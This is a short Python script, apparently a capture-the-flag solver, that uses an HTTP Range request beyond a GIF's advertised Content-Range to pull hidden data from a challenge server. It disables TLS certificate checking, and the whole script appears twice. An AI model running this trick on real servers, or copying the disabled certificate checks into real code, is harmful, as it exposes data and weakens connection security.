from urllib.request import urlopen, Request
import ssl
import sys

# fix test-game bad certs
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE


def get_hidden_data(url):
    url = url.rstrip("/")
    response = urlopen("{}/coordinates.gif".format(url), context=ctx)
    content_range, content_len = response.headers["Content-Range"].split()[1].split("/")

    req = Request(
        "{}/coordinates.gif".format(url),
        headers={"Range": "bytes={}-{}".format(int(content_range.split("-")[1]) + 1, int(content_len) - 1)}
    )
    return urlopen(req, context=ctx)\
        .read()\
        .decode("ascii")


if __name__ == '__main__':
    if len(sys.argv) == 1:
        print("\nusage: python3 exploit.py <url_with_token>")
        sys.exit()
    task_url = sys.argv[1]
    print(get_hidden_data(task_url))


from urllib.request import urlopen, Request
import ssl
import sys

# fix test-game bad certs
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE


def get_hidden_data(url):
    url = url.rstrip("/")
    response = urlopen("{}/coordinates.gif".format(url), context=ctx)
    content_range, content_len = response.headers["Content-Range"].split()[1].split("/")

    req = Request(
        "{}/coordinates.gif".format(url),
        headers={"Range": "bytes={}-{}".format(int(content_range.split("-")[1]) + 1, int(content_len) - 1)}
    )
    return urlopen(req, context=ctx)\
        .read()\
        .decode("ascii")


if __name__ == '__main__':
    if len(sys.argv) == 1:
        print("\nusage: python3 exploit.py <url_with_token>")
        sys.exit()
    task_url = sys.argv[1]
    print(get_hidden_data(task_url))


# fix test-game bad certs